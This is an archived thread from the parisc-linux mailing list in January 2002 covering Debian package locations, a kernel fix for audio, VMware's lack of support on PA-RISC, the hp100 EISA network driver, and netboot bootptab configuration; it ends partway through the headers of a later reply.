Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26D5A482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 01:36:33 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel8.hp.com (Postfix) with ESMTP id 4BEC5E00110
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 03:36:32 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 082A637D2B; Fri, 11 Jan 2002 01:36:32 -0700 (MST)
In-Reply-To: Your message of "Fri, 11 Jan 2002 09:22:25 +0100."
             <3C3EA0C1.42DDF9E0@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13672

Bruno Vidal writes...

> 	Hi
> Sorry, but where can I download binutils-dev. It's not on the iso CDs.
> And the link on the debian seems broken, there is nothing under this director
> y !.
> ftp://ftp.debian.org/debian/dists/unstable/main/binary-hppa/
> On the debian site, I found only package for i386, not for parisc.

Debian packages now live in the pool. In your case,

ftp://ftp.fr.debian.org/debian/pool/main/b/binutils/binutils-dev_2.11.92.0.12.3-5_hppa.deb

But it's much easier to use apt-get or dselect to install packages rather
then downloading and installing by hand. Give them a try I think you'll
like them.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:21:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] video capabilities?
Date: Fri, 11 Jan 2002 11:23:43 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <3C3EBD2F.3040905@esiee.fr>
References: <02011019595101.17281@nick>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620947 666 80.91.229.3 (22 Nov 2014 01:49:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nicholas Leippe <nick@byu.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 03:23:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57DA8482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 03:23:46 -0700 (MST)
Original-Received: from esiee.fr (pc5158e.esiee.fr [147.215.50.171])
	by mail.esiee.fr (Postfix) with ESMTP
	id F250049BF8; Fri, 11 Jan 2002 11:23:43 +0100 (CET)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.7) Gecko/20011229
X-Accept-Language: fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13673

>
>
>Also, for some reason I can't get any sound out of
>it.  I can get garbled clicks out of the speaker,
>but mpg123 doesn't play recognizably and artsd
>fails to start with an error.
>

I bet you used the 0.9.3, which is good.
Unfortunaly, the Harmony (audio chipset) bug
has only been corrected after. 2 solution:
1) Download the kernel sources from a CVS snapshot:
    ftp://ftp.parisc-linux.org/cvs
    and compile a new kernel.
2) Ask me to put a kernel in a download place. But please
   remember this will not be an official kernel.

Regards,
Matthieu

>
>
>Nick
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>






From - Thu Nov 08 21:21:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] video capabilities?
Date: Fri, 11 Jan 2002 10:46:12 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20020111104612.GH31308@sleepie.demon.co.uk>
References: <02011019595101.17281@nick> <3C3EBD2F.3040905@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620948 667 80.91.229.3 (22 Nov 2014 01:49:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:08 +0000 (UTC)
Cc: Nicholas Leippe <nick@byu.edu>,
	parisc-linux@lists.parisc-linux.org
To: Matthieu Delahaye <delahaym@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 03:56:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id A7BF0482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 03:56:13 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id AF7D49EC52; Fri, 11 Jan 2002 10:46:12 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <3C3EBD2F.3040905@esiee.fr>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13674

On Fri, Jan 11, 2002 at 11:23:43AM +0100, Matthieu Delahaye wrote:
> >
> >
> >Also, for some reason I can't get any sound out of
> >it.  I can get garbled clicks out of the speaker,
> >but mpg123 doesn't play recognizably and artsd
> >fails to start with an error.
> >
> 
> I bet you used the 0.9.3, which is good.
> Unfortunaly, the Harmony (audio chipset) bug
> has only been corrected after. 2 solution:
> 1) Download the kernel sources from a CVS snapshot:
>    ftp://ftp.parisc-linux.org/cvs
>    and compile a new kernel.
> 2) Ask me to put a kernel in a download place. But please
>   remember this will not be an official kernel.

Just  grab the latest kernel from ftp.parisc-linux.org/kernels/32
(iirc); that should work.

Richard




From - Thu Nov 08 21:21:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: chenhp@hpsgnsw.sgp.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] vmware question?
Date: Fri, 11 Jan 2002 19:16:35 -0700
Lines: 8
Approved: news@gmane.org
Message-ID: <3C3F9C83.850FFD03@hpsgnsw.sgp.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620948 676 80.91.229.3 (22 Nov 2014 01:49:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 04:15:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E0CF482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 04:15:48 -0700 (MST)
Original-Received: from hpsgnla.sgp.hp.com (hpsgnla.sgp.hp.com [15.68.50.32])
	by palrel11.hp.com (Postfix) with ESMTP id 8396BE00557
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 03:15:46 -0800 (PST)
Original-Received: from hpsgnsw.sgp.hp.com (chenhp@hpsgnsw.sgp.hp.com [15.68.50.236]) by hpsgnla.sgp.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.1.0) id TAA17989 for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 19:22:22 +0800 (SST)
X-Mailer: Mozilla 4.76 [en] (X11; U; HP-UX B.11.00 9000/777)
X-Accept-Language: en, zh-CN
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13675

Hi,
I'm wondering to know if vmware can work on PA-Linux ?

Regards,
Chen Huaping




From - Thu Nov 08 21:21:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmware question?
Date: Fri, 11 Jan 2002 12:34:01 +0100 (CET)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.42.0201111233300.3880-100000@r6.petescaff.com>
References: <3C3F9C83.850FFD03@hpsgnsw.sgp.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620948 682 80.91.229.3 (22 Nov 2014 01:49:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:08 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: "chenhp@hpsgnsw.sgp.hp.com" <chenhp@hpsgnsw.sgp.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 04:36:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id C1DBD482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 04:36:39 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.22 #5)
	id 16Ozwf-0003yA-00; Fri, 11 Jan 2002 12:34:01 +0100
Original-Received: from apm (helo=localhost)
	by r6.petescaff.com with local-esmtp (Exim 3.33 #1 (Debian))
	id 16Ozwf-00016S-00; Fri, 11 Jan 2002 12:34:01 +0100
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <3C3F9C83.850FFD03@hpsgnsw.sgp.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13676

No chance. Vmware is an i386 only application.

On Fri, 11 Jan 2002, chenhp@hpsgnsw.sgp.hp.com wrote:

> Hi,
> I'm wondering to know if vmware can work on PA-Linux ?
>
> Regards,
> Chen Huaping
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:21:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: andi <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmware question?
Date: 11 Jan 2002 12:36:44 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <1010749004.4093.2.camel@cube>
References: <3C3F9C83.850FFD03@hpsgnsw.sgp.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620948 684 80.91.229.3 (22 Nov 2014 01:49:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: chenhp@hpsgnsw.sgp.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 04:36:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tentakel.fischlustig.de (pD9001D8A.dip.t-dialin.net [217.0.29.138])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B5FA482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 04:36:58 -0700 (MST)
Original-Received: from localhost.localdomain (cube.fischlustig.de [::ffff:192.168.1.14])
  (IDENT: andi)
  by tentakel.fischlustig.de with esmtp; Fri, 11 Jan 2002 12:36:35 +0100
In-Reply-To: <3C3F9C83.850FFD03@hpsgnsw.sgp.hp.com>
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13677

On Sat, 2002-01-12 at 03:16, chenhp@hpsgnsw.sgp.hp.com wrote:
> Hi,
> I'm wondering to know if vmware can work on PA-Linux ?

no this cannot work since it runs only i386 code on i386. It does not
emulate a cpu. "bochs" however is a project that should run on pa-linux,
but it is awfully slow (unusable for me)

andi










From - Thu Nov 08 21:21:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <vze26vn8@verizon.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How to configure EISA network card in 715/80
Date: Fri, 11 Jan 2002 10:38:05 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <3C3F06DD.6050409@verizon.net>
Reply-To: raffo@neuronet.pitt.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620949 686 80.91.229.3 (22 Nov 2014 01:49:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 08:37:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pop007pub.verizon.net (unknown [206.46.170.234])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BAC8482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 08:37:55 -0700 (MST)
Original-Received: from verizon.net (pool-151-201-226-132.pitt.east.verizon.net [151.201.226.132])
	by pop007pub.verizon.net  with ESMTP
	for <parisc-linux@lists.parisc-linux.org>; id g0BFblSM026261
	Fri, 11 Jan 2002 09:37:48 -0600 (CST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.7+) Gecko/20020109
X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13678

Hello,

I'm currently testing the distribution from 0.9.3 on a 715/80 machine. 
I'm running the latest CVS kernel and I have it networked, using the AUI 
port, and also running an X server.

The computer has an EISA slot with a network card that I can't identify. 
The main chips appear to be:

LUCENT/Hewlett Packard
100 VG
1821 - 1400

LUCENT
2X01 MC
Regatta 100

Intel
N82503
L7201918

The card has two ports, a 10 Mbit/sec and a 100Mbit/sec.

Is there a driver for this card?

Thanks.

-- 
      Rafael




From - Thu Nov 08 21:21:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to configure EISA network card in 715/80
Date: Fri, 11 Jan 2002 15:43:37 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <20020111154337.D26644@parcelfarce.linux.theplanet.co.uk>
References: <3C3F06DD.6050409@verizon.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620949 688 80.91.229.3 (22 Nov 2014 01:49:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: raffo@neuronet.pitt.edu
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 08:43:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A3AC482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 08:43:40 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16P3qD-0001IW-00; Fri, 11 Jan 2002 15:43:37 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3C3F06DD.6050409@verizon.net>; from vze26vn8@verizon.net on Fri, Jan 11, 2002 at 10:38:05AM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13679

On Fri, Jan 11, 2002 at 10:38:05AM -0500, Rafael Herrera wrote:
> LUCENT/Hewlett Packard
> 100 VG
> 1821 - 1400
> 
> LUCENT
> 2X01 MC
> Regatta 100
> 
> Intel
> N82503
> L7201918
> 
> The card has two ports, a 10 Mbit/sec and a 100Mbit/sec.
> 
> Is there a driver for this card?

yep it's the hp100 driver.  i've used it myself (when i got a ping back
from it, i declared the eisa code good enough to commit :-).  in config,
that's: HP 10/100VG PCLAN (ISA, EISA, PCI) support' CONFIG_HP100

btw, the 100Mbit port is 100VG, not 100TX so you need 100VG equipment
to work with it.  the 10Mbit port is vanilla 10baseT though.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <vze26vn8@verizon.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Correction for the PA-RISC/Linux Boot HOWTO at ESIEE's web site.
Date: Fri, 11 Jan 2002 10:55:06 -0500
Lines: 38
Approved: news@gmane.org
Message-ID: <3C3F0ADA.3060504@verizon.net>
Reply-To: raffo@neuronet.pitt.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620949 690 80.91.229.3 (22 Nov 2014 01:49:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:09 +0000 (UTC)
Cc: deb@thepuffingroup.com, marteaut@esiee.fr
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 08:54:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from out005pub.verizon.net (out005pub.verizon.net [206.46.170.105])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A01E482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 08:54:52 -0700 (MST)
Original-Received: from verizon.net ([151.201.226.132])
	by out005pub.verizon.net  with ESMTP
	; id g0BFsVG10166
	Fri, 11 Jan 2002 09:54:32 -0600 (CST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.7+) Gecko/20020109
X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13680

I'm booting a 715/80 workstation using a PC with SuSE 7.2. Trying to 
follow the examples to configure bootp/tftp at

http://mkhppa1.esiee.fr/parisc-linux-boot/parisc-linux-boot/preparation.html

I could not get it to boot.

This distribution sets the daemons as follows:

tftp    dgram  udp  wait  root  /usr/sbin/tcpd  in.tftpd -s /tftpboot
bootps  dgram  udp  wait  root  /usr/sbin/bootpd  bootpd -c /tftpboot

This a chroot setup, so the example /etc/bootptab in the web page will 
not work.

The configuration that worked for me is the following:

parisc:hd=/:\
                 :ht=ethernet:\
                 :ha=0800093BF206:\
                 :ip=192.168.0.8:\
                 :bf=lifimage:\
                 :sm=255.255.0.0:\
                 :to=7200:

Where the bootable kernel image was the lifimage created using "make 
palo" (The web page description is ambiguous as to what image to use: 
vmlinux or lifimage)

Also the purpose of the parameter "rp" in the example bootptab is not 
clear in the example. Its purpose is to specify a root filesystem to 
mount, but the lifimage has that parameter set from palo Makefile.

-- 
      Rafael




From - Thu Nov 08 21:21:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <vze26vn8@verizon.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to configure EISA network card in 715/80
Date: Fri, 11 Jan 2002 11:07:45 -0500
Lines: 205
Approved: news@gmane.org
Message-ID: <3C3F0DD1.4040508@verizon.net>
References: <3C3F06DD.6050409@verizon.net> <20020111154337.D26644@parcelfarce.linux.theplanet.co.uk>
Reply-To: raffo@neuronet.pitt.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------070701060308020605020306"
X-Trace: ger.gmane.org 1416620950 693 80.91.229.3 (22 Nov 2014 01:49:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:10 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 09:07:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from out005pub.verizon.net (out005pub.verizon.net [206.46.170.105])
	by dsl2.external.hp.com (Postfix) with ESMTP id D21ED482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 09:07:29 -0700 (MST)
Original-Received: from verizon.net (pool-151-201-226-132.pitt.east.verizon.net [151.201.226.132])
	by out005pub.verizon.net  with ESMTP
	for <parisc-linux@lists.parisc-linux.org>; id g0BG7AG16425
	Fri, 11 Jan 2002 10:07:10 -0600 (CST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.7+) Gecko/20020109
